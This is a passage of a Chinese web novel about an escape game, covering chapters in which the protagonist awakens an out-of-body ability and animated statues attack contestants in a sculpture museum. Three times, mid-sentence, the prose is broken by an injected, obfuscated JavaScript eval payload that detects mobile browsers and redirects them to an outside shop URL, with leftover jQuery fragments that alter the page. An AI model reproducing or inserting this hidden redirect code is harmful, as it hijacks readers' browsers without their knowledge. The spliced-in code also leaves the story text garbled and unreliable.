沈铎回味着这句话,同时察觉到,系统说的是“听人说过”。狗头系统没有见过玩家异能觉醒吗?他之前带的兵也太差了吧。 系统全心全意辅佐沈铎,“异能虽然无法强行唤醒,但游戏里依然有一些灰色地带,你来看。” …… 面板展开了。 出现在眼前的是一个类似于游戏商店的页面。 沈铎之前见过的游戏商店都是花花绿绿,充满噱头的,逃生游戏的商店背景却是墨一样深沉的浓黑色。 黑到宛如黑洞,能将人的视线吞入。 “如今你还是新人玩家,商店能买的东西并不多。” 沈铎也看见了,大半都空着,只有开头那一行有东西。 他拿起来一个,“活力药水?” 系统解释,“就是生命药水,能为你补血的。” “挺好啊。”危急关头可能会派上用场。 沈铎扫了一眼,库存并不多,“多少钱?啊……是用什么购买?” “用积分,玩家一般在第一场游戏通关之后就可以获取积分了。根据个人表现来评级,不同的级别获得的积分数量也不一样。” “但我们的游戏很人性化,最低级别的也能有积分拿,最高级还有限定道具掉落呢。像你这样的新人玩家,在第一次进入游戏时,也是会免费赠送100积分的。”系统适时吹捧着自己家的游戏。 沈铎点头,“我懂,有低保拿。” 听了他这话,系统噎了一下,似乎有些后悔提及此事,害怕沈铎因此变得怠惰不上进,他立刻换了话题。 “基础的道具如活力药水是通过积分获取,但和异能有关的许愿瓶却不是,必须要用你的灵魂。” 沈铎一顿,“灵魂?” “你看到许愿瓶了吗?” “看到了。” 商品不多,许愿瓶就是最后一款可以购买的商品,它和活力药水不同,有一个缠绕的边框,边缘还有流光浮动。 瓶子比药水瓶小很多,就像一个小巧精致的鼻烟壶。 沈铎观察它的时候,它正在里面缓缓转动,周围飘溢着银色的星尘。 “可以碰吗?” 系统点头之后,他才谨慎地摸过去,手指触到一层薄薄的阻隔,这是刚才在拿活力药水时没有遇到的。 “像被锁起来了。”他下意识道。 系统惊喜道:“您真的很有天分,我听说过许愿瓶的传闻,它的确是被封锁在了商店,等待有缘人开启。” “每一个人开出来的许愿瓶都不一样,所以才被称为是用本人的灵魂购买,但据我所知,灵魂购买只是听着吓人,从没有人遇到过异常情况,您大可不必担心……” 沈铎无视了它的怂恿,“那它和异能的关系在哪?” “这就不得不解释一下异能是如何觉醒的了,我的上司曾经说过,异能因人的灵魂而生,一个人的底色如何,都会在天赋之能上得以显现。” “许愿瓶也是由灵魂换取,所以它会像预知的瓶子一样,显现出你未来的能力。” “当然,那并不是完整的能力,也不具体。” “像梦一样虚浮,像雾一样空洞,像海中的水滴微小,你只能朦朦胧胧地感知……” 沈铎打断了他,“这是你背的稿子吧?” 系统有些尴尬,“被你看出来了……” “我会购买的,所以你不用担心。” 沈铎不知道系统在哪里看着他,只能用余光乱瞥,“你是不是有点太刻意了?上一个负责的玩家不用心玩游戏吗?你放心吧,我不会的。” 系统还未回答,他就收回视线,望向鼻烟壶。 对,鼻烟壶。 他觉得还是更像鼻烟壶,所以就这么称呼了。 “不知道是不是你听来的消息有误……我觉得这个小东西并不是用灵魂获取的。严格一点来说,应该是部分灵魂吧,少部分,一点点。” 如果灵魂真可以分成几百万片的话…… “异能才是真家伙,换这个绝对用不到全部。” 可能只是在前期过渡一下…… 或者也可以说,是让玩家提前熟悉自己的能力? “我……我非常赞同您的决定……”系统有些畏缩。如果它真是条会动的狗,此刻应该盘成一条偷偷瞄着沈铎。 被拆穿之后,它就有点不敢面对沈铎,但沈铎并不是很在意。 “那我开始了。” 他将手放在面板上方,小巧的鼻烟壶被他虚无地笼在了手心,他闭上眼睛,就像系统说的,用心去感知。 用此刻感受过去,用过去面见未来。 系统沉默、紧张地在旁观察,这是它几十年以来第一次近距离地感受玩家的异能,它眼巴巴看着,又是欣喜,又是艳羡。 有异能的人,在逃生游戏里还是很少的。 所以它在看到沈铎的时候才会那么激动,也一点都不想错过这根好苗子。 会是什么样的异能呢…… “呃……”一直注视着鼻烟壶的沈铎忽然吸气,闭上了双眼,似乎在更加用心地感受着什么。 系统非常焦灼,但又不敢高声,“怎……怎么了?” “很奇怪……全部都是黑色的流光……好像有什么东西在喘气……”沈铎说着它完全想象不出来的画面,忽然眉心紧紧皱了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119782|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“恶意。” “什么?” “好强的恶意!”沈铎马上睁开了双眼,手也从鼻烟壶上松开。 他拧着眉,不痛快地看着属于自己的鼻烟壶,就像在看一条冰冷恶毒还蛰了自己一口的毒蛇。 系统按下悲痛,刚要劝慰沈铎,就瞥见鼻烟壶身上的图案发生了变化,速度飞快,很快就从空白变成了完整的一幅画。 沈铎:“这是什么?” 系统目瞪口呆:“您、您的异能浮现了!!!” 沈铎还记着刚才的恶感,就像自己的灵魂真被吞吃了一角,他很不爽地跟鼻烟壶大眼瞪小眼,估计鼻烟壶也没见过有人第一面不是扑上来的,不再欢快地旋转,连周围漂浮的星尘都黯淡了许多。 系统喜出望外,虚无的尾巴都在摇晃。 如果之前还因为被锁定而对沈铎的异能存疑,那现在的情况无疑证明,这个玩家有着非凡的潜力。他恭敬道:“天赋之能已经属于你,你可以摘取自己的果实了。” 系统的语气很不一样,有着隆重的仪式感。 沈铎这次伸出手,没有碰到任何阻隔。 透明的盒子已然解锁,微微的热度从壶口散发而出,就像他滚烫的灵魂温度,和在C城度过的无数个漫长盛夏一样灼热浓烈,瞬间怒放在指尖,透过血看见他的心脏,和他欢快地击了下掌。 先前的冰冷与恶毒不复存在,就像只是他的错觉。 他将鼻烟壶拿在手中,摊平去看壶身上的画,笔触细腻,栩栩如生,勾勒出一个对着黑板出神的少年。 沈铎在看到他的第一秒,就微微睁大了眼,“这不是我自己吗?” - “就这样闻一下?” “是的,轻轻一下……” 他将小鼻烟壶举起,轻嗅一口,再睁开眼来,什么都没发生。 正要无奈地摊手对系统说明情况,异样的事却发生了。 他的手举到一半,就像在虚无的空气中找到了一个支撑的断面,微微用力一撑,整个人就拔高浮空。 他飘起来了。 沈铎目瞪口呆,在空中适应许久,以灵魂出窍的状态呆滞地看着自己的身体,即使是在游戏里,他也有点难以接受,起了一身鸡皮疙瘩。 “系统?……汪汪?” “请不要那样称呼我。”系统颇为无奈,但立刻就为他庆祝,“恭喜你,玩家沈铎,你的异能属于罕见的精神系!” “让我来飘飘看。” 沈铎摩拳擦掌,马上就干。 经过一番试验,他很快得知:自己这种灵魂离体的状态可以持续十五分钟左右,休息五分钟可以再来一次,但时间和效果会大打折扣。 从距离上来说,他可以飘出100米左右。 这是如何测算的呢? 是他飘出了三个艺术室,在穿过又一面白墙以后,发现飘感微微滞涩。 沈铎早就记住了每个人的位置,他的脑海里有一张清晰的房间分布图,但在高空中俯视,显然是另一种感觉。 这是钟莹莹的房间。 房间的主人正在门口焦灼不安,似乎在等待有人到访。但沈铎心头迷雾重重,因为规则限制,白天时大家都要雕塑,不能出去,钟莹莹是在等谁呢? “砰。” 敲门只响了一声,钟莹莹就迫不及待将门拉开,门外之人出现的一瞬间,沈铎的脑海闪过两个字: 是他? 8. 蝴蝶雕塑馆08 -08- “你好,我是关新……呃啊——!” 在他还未说出更多话前,钟莹莹一把将他拉进了房间。 关新杰一个踉跄,转头看到记者小姐如临大敌,猎鹰般伸出头在走廊环视,确认没人以后才关上了房门。 “你居然就这样来了……”钟莹莹懊恼地扶住额头,“所以你做了什么准备?跟馆长说你是来——” “来交流雕塑过程里产生的疑惑,还有灵感。”关新杰说得小心翼翼,瞥见钟莹莹的脸色后意识到:“这样……不行吗?” “当然不行啊!你以为那个疯子是这么容易糊弄的吗?他说过我们白天不能出门,我们就不能打破这个禁忌。” 关新杰张了张口,好半天才道:“……待会不管发生什么,都跟你没关系。” 钟莹莹更无奈了,“我不是在担心我自己,是在想怎么弥补……算了,先不想这些。” 这是关新杰用生命争取来的时间,她不能浪费在无聊的交流上。 “所以,你要跟我说什么?” 早上,在她结束了那番激情演讲后,关新杰就在餐厅找上了她,说有事要跟她单独说,他会想办法让两人在白天见个面。 天花板上的沈铎若有所思:难怪早上的时候,关新杰看着很是失魂落魄。 “我早上听你说,有很多小孩在雕塑馆附近失踪了……那些孩子的父母,有没有找到他们?” 钟莹莹摇头:“没有,就是没有才被认为是谣传……” “那不是谣传!”关新杰忽然大叫。 不光钟莹莹被吓了一跳,连飘着的沈铎都一激灵。 “我认识的一个人,她就是在去雕塑馆的路上失踪的,这个雕塑馆有问题,失踪的事绝对不是谣传!” “你先冷静,冷静……” 钟莹莹等他的呼吸慢慢平复下来,才小心问道:“你说的这个人,是你的什么人啊?” 关新杰的脸忽然变得通红,支吾道:“她是我的初恋。” …… 关新杰有个从小一块长大的青梅,他们一起上同一家幼儿园、小学、初中……到了高中,两人才分开。 他本想在高一开学的时候跟她表白的,但是意外却发生了。 …… “我是周末回家才知道的。”关新杰低声道:“说她失踪了,叔叔阿姨已经报了案,我当时人都傻了,回到房间才看到她给我留的纸条,说她周六要去雕塑馆拍照片,那阵子有种叫克斯什么的蝴蝶很流行,咱们市只有雕塑馆附近才有。” 钟莹莹流利道:“科斯克鲁蝶。” “你知道?” “这不重要。你继续说吧。” “好的,说到哪里了……总之那段时间,因为她的失踪,我和其他孩子都被看得很严,等到被放出门的时候,她家已经人去楼空,房子也卖掉了,说是怕触景伤情,一家人搬去了别的城市……” “看到雕塑馆招人比赛,我就马上报名了。这么多年了,我就想知道她在哪,她不应该什么都没留下……” “太好了!” 关新杰看了她一眼。 钟莹莹还维持着拍手的动作,意识到不妥,讪讪一笑,“我是说……有确切的证据真是太好了!说明商飞扬在这件事上脱不开关系,我们现在都看见了,人在雕塑馆里,是确确实实会变成雕塑的!” 关新杰:“你是说,她被做成了雕塑……” 联想到隔壁的雕塑尸体,他的脸瞬间变得灰白。 钟莹莹叹了口气:“先别想你的初恋了,还是想想怎么跟那个疯子交待吧。” 关新杰要告诉她的消息,其实完全可以找别的方式和时机,而他就这样恍恍惚惚又冲动至极地过来了,钟莹莹不知道怎么说他,可能他真的是一个纯爱战士。 钟莹莹不禁道:“那个办法,你是怎么想到的?” 关新杰:“什么?” “就是找我是来交流艺术的办法,应该不是你自己想出来的吧?” 关新杰不好意思道:“其实我是参考了小沈的意见。” 天花板上的沈铎突然被cue:还有我的事儿呢? 但他仔细回想了一遍,没有任何印象。 难道是关新杰把“你需要药吗?”误解成了别的意思?但这个误解也太风马牛不相及了吧! “小沈在找馆长的时候说过,说我们受邀而来,每个人都是艺术家,就要按照艺术家的思维来思考,我们见面又不是为了别的事,是为了促进灵感火花,交流艺术见解,是为了伟大的雕塑事业啊……” 真的可以吗,钟莹莹内心满是怀疑。 但她想起了沈铎,餐厅散场之后,就连关新杰那个没心没肺的弟弟都有所触动,但沈铎却像没事人一样。 “说起来,你有没有觉得早上的小沈……” “怎么了?” 钟莹莹本来想说,你有没有觉得他早上在餐桌上走神得很严重,但她觉得背后这么说人不太好,就摆了摆手,含混了过去。 本来在听下文的沈铎:“……” 不过话说回来,没想到关新杰居然是用这种方法解决“白天见面”的。 思路虽然没什么错,但还是有明显的漏洞。 商飞扬的规则看似严苛,却有逻辑可循。 例如:他如此解释“白天画室封闭”——“沉醉于创作的艺术家,不会将时间浪费在世俗琐事,白天到深夜,你们都将投身于伟大的艺术创作。” 沉醉创作的艺术家,会认为“交流灵感”是浪费时间吗? 自然不会。 那会从根本上站不住脚。 所以关新杰这一步,也不失为一手好棋。 但沈铎却不会这么去做。 要不然他可以想出比“交流灵感”更好的点子,借此走遍各个房间,不会像个幽灵一样漂浮在房间上空。 商飞扬是一个满口艺术的疯子,但他更是一个不接受欺骗的上位者。 更何况是借着“艺术”的名义将他玩弄在掌心……他会允许吗? “奇怪。” 沈铎看向房间里的关新杰,他已经被钟莹莹催着要走了,却好像想到了什么,转身又说了一遍,“你不觉得奇怪吗?” 钟莹莹没明白,“哪里奇怪?” “我们进来的路上,只遇到了一尊指路的雕塑……但这里不是一座雕塑馆吗?其他展览的雕塑都到哪里去了?” “那个展览厅写的是‘破茧’系列,商沅的成名作,可是我们在选材料的时候,也没有看到任何雕塑。那些雕塑都去哪了?” 钟莹莹张了张嘴,“也许——” “砰、砰、砰!” 房门忽然剧烈震动起来,像是一万个人齐声拍门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119783|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人都被钉在了地上,脸色发白。 “没事,没事!我去开……”钟莹莹强装镇定,慢慢走了过去,将房门拉开一条缝隙,没有看到人,入目是墙壁的白色。 所有人都待在自己的房间,走廊很安静,钟莹莹下意识呼出一口气,可她的脖子忽然接连升起冷意,似乎有什么冰凉的东西从天而降,她吞咽一口口水,忍住鸡皮疙瘩,慢慢抬起头,朝上看去。 对上一排森然发白的面孔。 她的瞳孔瞬间缩小了—— 雕塑…… 敲门的居然是雕塑! 这些白色的雕塑俊美高大,在她的门外列队,面无表情地看着她,组成一条白色的人墙。他们有着人的形态,但表情僵硬,唇笑怪异,非人感很强烈。 离她最近雕塑的手还微微抬起,似乎是一个敲门的姿势。手指之间正簌簌落下白色的碎屑。 这只手砸下来的话,能让她瞬间去世…… 钟莹莹又咽了一口口水,脑海涌过欢喜—— 传闻果然没错,那些失踪的人都变成了雕塑,不知道商飞扬搞了什么鬼,这些雕塑居然能走能动,跟人完全没区别! 这是一个BIG爆炸新闻! 但她的身体却出奇诚实,咽喉发紧,瞳孔剧颤。 恐惧像缠紧的蛇,让她头皮发麻,说不出一句完整的话,竟然想和一堆雕塑沟通,“我们是在交流……啊——!” 她被一只白色的手臂强硬拖了出去。 “钟莹莹!” 关新杰眼看记者被拖出门外,转身就逃,房门大开,列队进入的白色雕塑个个都如希腊神明俊美强壮,白色的脚掌踏在地面,发出清脆的响声,落下白雨碎屑,很快领头的雕像就将关新杰堵在了角落。 他本想大吼出声,但在看见雕塑的面孔时,忽然被钉在了原地。 那一刻,少女的容颜从当年一幕幕掠过,最终定格成眼前这尊瓷白、不通人情、冷漠、不会老去的少女雕像。 “……”他甚至都没有意识到,他喊出了她的名字。 “砰——!” 冷寂。 听到一墙之隔传来的巨响,钟莹莹剧烈挣扎起来,居然真的挣脱了白手的挟制,跌跌撞撞推开房门,看到的就是少女雕塑伸直手臂,面前砸出了一个巨大的窟窿,关新杰躺在碎石之中,血慢慢从他身下涌起,像涨起的湖泊。 生死不明。 她愣了很久,像扎穿喉咙的鸟尖鸣,“啊啊啊啊!” 走廊上响起了脚步声。 “哎呀,我的参赛者们,好像遇到一点小小的问题?” 商飞扬的声音在走廊幽幽响起,各个房间的异动霎时停止。 其他人都深陷无知无解的绝望,除了躺在血泊的当事人、尖叫的记者、他们共同的敌人、以及微不足道的幽灵。 只有他们知道这里发生了什么。 沈铎感觉凝聚在心头的滞感加重。 一股强大的拖拽感正从自己的房间摇晃,好像从很远处摇晃起连结他灵魂的绳索,他的视野不再像之前稳定清晰,变得恍惚昏浊。 商飞扬就在支离破碎的视野中出现在门口,他先是看向墙边生死不明的关新杰,扭曲笑了一下。然后这个笑忽地停顿了,他捏紧了怀里的雕塑小狗,忽然,慢慢地,极其缓慢地,抬起头。 朝天花板上看来。 9. 蝴蝶雕塑馆09 -09- 风声急速掠过,沈铎头晕目眩地睁开眼,倒头栽进了地里。 “沈铎!” 一把抹掉鼻子涌出的血,他“哇”地又吐了。 “玩家沈铎,你还好吗?这可能是使用异能的副作用……” “还好。” 他恶狠狠掐了自己一把,想快速清醒过来,疼痛却让思绪变得更毒辣亢奋,带着一脸血不停大笑:“雕塑!哈哈哈!雕塑!” 系统不安极了。 它一边安抚着沈铎,一边笨拙地恶补知识,“是的……是有这样的记录,使用许愿瓶的玩家有87%的几率不耐受,这是由于拔苗助长、想要快速觉醒异能导致的,表现特征多为兴奋、疼痛阈值升高,善于嘲讽……” 亢奋反应就像坐了百十次过山车的心跳全部堆积,在一刻爆发,沈铎的心跳快到心慌的程度,他抓住地面,却感觉身处摇晃的洗衣桶。忍着上涌的恶心感,他闭着眼对系统确认:“出窍的灵魂能被人看到吗?” 出窍的灵魂。灵魂出窍。 目前他只能这么称呼自己的异能。 狗头系统说,玩家的鼻烟壶会浮现出异能的具体名称和所属种类,它在狗脑子里找出一个简单易懂的说法:“不知您是否读过C国的一本名著,那本书为角色附上了富有深意的判词,每一条判词都预示出角色的未来命运。” “许愿瓶是您用灵魂交换的,瓶身也会浮现类似的判词。可能是异能的名称,含义,使用方式,同时会有图画辅助理解。所以……” 系统头痛地看着沈铎的许愿瓶。 为什么只有一幅画? 课堂上,神思游走的少年托着下巴。只有这样一幅画? 因为没有判词,所以沈铎只能自己想名字——脱离身体到处游走,这不就是灵魂出窍吗? 系统听了他的话,谨慎道:“有人看到了幽灵状态的你?” 沈铎被拖过来的时候太着急了,商飞扬投来的眼神一闪而过,他不是很确定,“有这个可能。” 这可是件大事。 系统想了想,“一般来说是看不见的,但如果符合这个副本的逻辑,NPC有时也能察觉玩家的身份。” 沈铎正要说话,敲门声忽地响起,他悚然一惊,以为是商飞扬找过来了。眩晕感还未消失,他摇晃着站起来,尽量让自己的声音听起来正常,“谁?” “大哥哥。”顾佳佳听起来怯生生的。 不是商飞扬,沈铎松了口气,“怎么了?”但他很快又意识到,现在是白天,顾佳佳怎么能来敲门? 神经亢奋让他疑神疑鬼,满脑子都是被害妄想,顾佳佳没听到他说话,“大哥哥,馆长……馆长让我们出来,你没听到吗?” 沈铎倒吸一口冷气,“商飞扬叫我们出去?什么时候?” 顾佳佳懵:“就是刚才啊。钟莹莹姐姐那边好像出事了……”小女孩吸了一下鼻子,哽咽道:“爷爷不在了,我一个人……害怕,大哥哥。” 沈铎有点不相信她,转头去问狗头,“商飞扬有叫我们出去?” 系统:“是的。” 沈铎真要吐了,“你为什么不早说?” 系统委屈道:“你当时狂吐不止,我想让你休息一下……” “你这样我就要永久休息了。”沈铎毫不留情地补刀,“你跟着我走上狗生巅峰的梦也会破碎,长点心吧。” “哦。忘记你被卡在门上,只有空空一只狗头,没有心。” 系统嗷一声扭头抹泪。 太……太侮辱狗了! 原来被有异能的玩家辱骂是这种感受,这种感受真是——真是—— 真是——太棒啦! 沈铎在画室自带的卫生间迅速洗了把脸,期间又抱着马桶狂吐好几次,做完这一切才出来,其他人早就出来了,聚集在走廊,看他们的神情,似乎完全不知道发生了什么,沈铎脚底轻飘飘地晃到顾佳佳身边。 人太多了,顾佳佳害怕又伤心,“大哥哥,我可以牵着你的手吗?” “不可以。” 顾佳佳伤心地低下头。两人的举动吸引了前方的关樊,他回头嗤了一声:“果然装不下去了。” “我装谁了?”沈铎看着他,刚洗过的脸很白净,让嘲讽力显得更加惊人,“我装你祖宗了?” 关樊不敢相信自己的耳朵。 “你说什么?” “听不清就把耳朵放在鞋底摩擦摩擦。”沈铎无差别攻击,把手伸了出来,露出衬衫袖子下一截苍白的手腕,“牵。” 顾佳佳愣了愣,不懂沈铎为什么转变了想法,但她马上紧紧牵住了沈铎的手,闪着泪花低声道:“谢谢你,大哥哥。” “不要大。不好听。” “那……小沈哥哥可以吗?” “凑合。” 沈铎现在就想跟人干架,理智上觉得自己就像一个讨人厌的杠精,但精神上无法控制,唯一令人庆幸的是商飞扬瞥来的那一眼似乎真是意外,他从钟莹莹画室走出来之后便合上了门,没在意沈铎。 走廊空荡荡的,沈铎心想,他的雕塑大队呢? “刚才出了一点小意外,”商飞扬朝着他们笑,“不过,也算好事。让我有了一个小发现。我发现,对你们的招待存在一些不足之处。关新杰正是因此,才会昏头触犯规则,遭到惩罚的。” 本来像一头红温的牛盯着沈铎的关樊,猛回头,“我哥怎么了?” 商飞扬继续笑着解释:“关新杰因为灵感枯竭,想要找人交流,才会在白天跑出门,这一点我能理解,所以我只是对他稍加惩戒,但同时我也开始反思,是不是对你们太严苛了——” “我哥到底怎么了?!” 关樊的吼声,商飞扬就像没听到,“再天才的雕塑师,也不能闷在房间不让出门吧,所以我决定——” “啪——!” 画室门被撞开,钟莹莹冲出来,双眼充满血丝,“你胡说,你这个疯子——!根本不是你说的这样,关新杰他是无辜的!” “我早知道了,你是个疯子,你早就疯了!不然不会杀了你爸你妈,还杀了从小养你长大的管家!你爸爸商沅忙着雕塑,管家是你最亲的人了吧!但你做了什么,你杀了他,还杀了他儿子,现在又来害我们,你要不要脸——!” “关樊,你不是想知道你哥怎么了吗?!” 她转向关樊,“就在我的房间,我亲眼看着你哥被一群会动的雕塑打倒!他脑袋上全是血!他现在就躺在里面,不信你去看啊!” 关樊扒开人,冲进画室,很快就黑着脸出来,一把揪住了商飞扬的领子:“狗东西,你敢动我哥?!” “我劝你尽快放下我。” “我不放你能怎样!” “那你的头就会被砸碎。”商飞扬淡淡道:“你这样的人,在小圈子里飞扬跋扈惯了,以为哪都是你家,谁都会给你这种暴力巨婴擦屁股,但你为什么觉得,随随便便找一个人,就能在他身上拉屎呢?” 他可能真生气了,居然会说拉屎。 关樊不想听他的,但一股强硬的压力迫使他不得不转头,望见一尊双开门大雕塑,健壮的雪白肌肉紧紧贴在他耳边,一手拎着雪白的铁球,一手高高举起,关樊有些懵,不明白这大块头是从哪冒出来的,正要跟商飞扬问个明白,又是一阵激烈急促的地面震动。 在众人瞠目结舌的眼神中,雕塑大部队从钟莹莹房间整齐划一走了出来。 齐刷刷站在关樊身后,齐刷刷举起铁拳,没有声音,诡异平静。 关樊望着头顶展开的雪白拳花,咽了一下口水,他有些恍惚,好像类似的画面从前也见过。 但那时他是举拳头的人,挨拳头的人…… 关樊恍惚转头,看见站在人群事不关己,显得格外冷漠的沈铎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119784|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他那股怪异的嘲讽劲儿还没过,冲着他微扬下巴,慢慢做了一个口型。 “咱-们-走-着-瞧” 仿佛被恶灵穿透身体,关樊浑身冷透,没劲的手缓缓下垂,在他放开商飞扬的领子以后,头顶的白色拳花就嗖一下退了回去,商飞扬压根没将他放在眼里,整理了下被扯乱的衣领,“还有事吗?” “一次性说完,我不喜欢被人打断。” 钟莹莹瘫坐在地,刚才的吼叫似乎用尽全力。 关樊魂不守舍,没人再有异议了。 “很好。”商飞扬心情转好,对雕塑们招了招手,让它们整整齐齐步入黑暗,“那我们来做正事。” “接下来,带诸位去参观我珍贵的收藏品。” - 一行人沉默地走着。 雕塑馆明明建在地上,却有着地下世界才会出现的潮气,玻璃和电灯已经绝迹,所经之处点着烛火,蜡汁融满墙壁,像一层丑陋的蜗牛。到处长满苔藓和藤蔓,还能听到翅膀扑闪的声音。 可他们却看不见一只活物。 沈铎在跨过一堆腐烂的树叶时,水珠滴落在他的脸颊。 他伸手抹开,是黏黏的质地。 让他想起了入馆之前,落在地上的一泡黏液。 他抬头往高处看去,漆黑一片,宛如墨色的绸布,闪烁着靛蓝的细微星点。 “你在看什么?”陈文轩过来了。 他摇了摇头。 陈文轩对自己有点太关注了,不知道搞研究的人是不是都这样。 研究自己还不够,还要去研究钟莹莹,陈文轩温和耐心,听她声音颤抖诉说关新杰受伤的全部过程,大学教授是个很好的倾听者,钟莹莹说到最后时已有所缓解,长长舒了一口气,“谢谢你,陈教授。” “不客气,你也满足了我的好奇心。”陈文轩又问:“你刚才说的,商飞扬杀了管家,还有他儿子,这件事是真的吗?” 他们走在最后,声音压得很低,但钟莹莹还是有些害怕,朝最前面走的商飞扬看了好几眼,才压低声音说道:“是的,这些事也是我进了新闻社才知道的,早上没有说,是因为……”因为她想留一些筹码。 但现在说出来,仿佛她不是个好人,暗地里留了一手。 尤其关新杰还受伤了。 “人之常情。这没什么。”沈铎说着,发现顾佳佳抬头看了他一眼,正要问为什么这么看他,忽然想起什么,顿住了。 他敲系统,“刚才为什么不拦着我点?”让他大开嘲讽,拉满仇恨。 系统也很无奈,“我也想啊,但您刚才完全听不进……” 不用说沈铎也记得,刚才他简直就是“天上天下,唯我独尊。” 就算逃生游戏的制作人来了,他也能抽他两耳光。 “其实,我到这里也是有缘故的。” 三人为了方便说话,故意走得很慢,沈铎听到陈文轩这么说,不再纠结刚才的事,聚精会神听了起来。 也许是钟莹莹让他觉得汗颜,陈文轩也开始表诉。 “你身上的一些特质,很像我的老师。” 钟莹莹疑道:“老师?” 陈文轩嗯了一声,“老师他虽然是教生物学的,却对万事万物都心存好奇,就像伸张正义的钟小姐你……我想,我也不能无动于衷了,多少得分享一些我这边的情报。就像我说的,我对雕塑一窍不通,之所以过来,是为了核实一件事。” 沈铎牵着顾佳佳深一脚浅一脚走在前头,听他们说话。 钟莹莹和陈文轩似乎把他们当成了未成年人(虽然也真的是未成年),他们的对话更像是一对一的交流。 “你是做新闻的,应该听说过早些年盛传的‘破茧’组织?” 破茧? 主线任务里的‘破茧’? 陈文轩压低声:“我怀疑商飞扬与‘破茧’有勾连。” 10. 蝴蝶雕塑馆10 -10- 钟莹莹皱眉:“那群邪教的疯子?” 不怪她这么厌恶,【破茧】的名声实在太难听了。 而且还很爱搞事。这种有着邪神信仰的组织不是应该找个深山老林待着,从此销声匿迹么?但【破茧】偏不是。 他们隔三差五就会出现在新闻报道,是钟莹莹痛苦的加班对象。 听到商飞扬或许会跟【破茧】有关,冲进脑海的是熬大夜灌下去的焦味咖啡,是关新杰身下涌出的鲜血……新仇加旧恨,钟莹莹戾气滚滚,宛如女鬼形容枯槁重复着商飞扬你去死去死…… “什么声音?”顾佳佳刚要回头,就被沈铎捂着眼睛按回去。 好久了,身后那团低压乌云才勉强散去。 “实在抱歉,陈教授,这方面的事我是真不了解。负责追踪‘破茧’的是其他同事,口风很紧,我在旁边搭把手才能听两句有的没的,重要的他们一概不说。我也能理解,邪教这种事影响不好,能避则避。” 陈文轩却道:“不一定是有心避开吧,我敢说他们知道的不比你多多少,想说也无从说起。” “嗯?为什么这么肯定呢?我同事工作很用心的……” “这不是用不用心的问题,钟小姐。”陈文轩很有信心,“那些闹出事上新闻的破茧信徒只是组织最边缘的成员,就算你们的人跟上那条线,往下查,也查不到核心的线索。” 这话说得很直白,她听着怪刺耳,“好吧,我们查到的都是边缘消息,那你呢,你一定比暗线记者还要靠谱,不出大学校园就能查到‘破茧’的老巢咯?” 陈文轩完全听不出来阴阳怪气,高兴道:“你怎么知道我查到了‘破茧’的老巢?” 钟莹莹:“……” 她疲惫地挥了挥手,“算了,你往下说吧。” 陈文轩:“事情得从我跟导师接触一个项目开始……” 那是一个飘着蒙蒙细雨的夜晚,整个实验室像被泡在鱼卵里一样安全,他喜欢在这种天气心无旁骛地做实验。导师的到来是一个不愉快的插曲,但他笑容满面,让陈文轩瞬间没了怨气,一门心思都在想: 到底发生了什么,让世外高人的老师如此亢奋? 当天夜里,导师让他签下了一份保密协议。 然后和他一起坐上一辆黑色皮卡,到郊外后下车,被搜身,眼睛蒙上黑布,坐上另一辆车。车很颠簸,时不时拐弯,似乎行驶在盘山公路。正在陈文轩忐忑不安,以为实验报告写得太差劲要被导师发卖的时候,车忽然停了下来。 “一进门我就知道,那也是一个实验室。”他对钟莹莹说道。 实验室的味道,陈文轩很熟悉。 他爸是一个厨师,能认得每一把菜刀,陈文轩小时候觉得很神奇,问爸爸是怎么辨认的。 他爸回他:“是味道。” 后来他在实验室理解了这句话。 他的实验室和导师的实验室就不是一种味道,而那个实验室,陈文轩一进门就愣在了原地——不同于以往任何一种。他自问已经熟悉了每种反应带来的气味,可这里的气味却让他陌生、不安和恐惧。 这意味着,在这里进行的实验很有可能会颠覆他的认知。 “我在那度过了一段很规律的日子。” 每天早六晚十,打卡上班。那群人似乎很着急要一个结果,找来了很多人,他和导师是生物组,除了生物还有物理、历史……往下细分又有很多,给人的感觉就是,好像这些人也不确定他们研究的是什么,所以什么都要试试。 他甚至还在那见到了从小到大最憧憬的学者,但碍于保密协议上的条款,他不能过去打招呼。 …… 钟莹莹听到这里,有些忍不住了,“你去的就是‘破茧’老巢?” 同时她心里又很生气,陈文轩说的,似乎是一个超大型研究,保密协议就是遮羞布,不知道项目合不合法,但既然陈文轩如今好端端站在这里,还成了很有名望的教授,那就说这个研究得到了上头同意,还被暗中保护了。 搞什么。 她们为了【破茧】忙死忙活,主持人在电视上强烈谴责,到头来普通人只是他们play的一环? 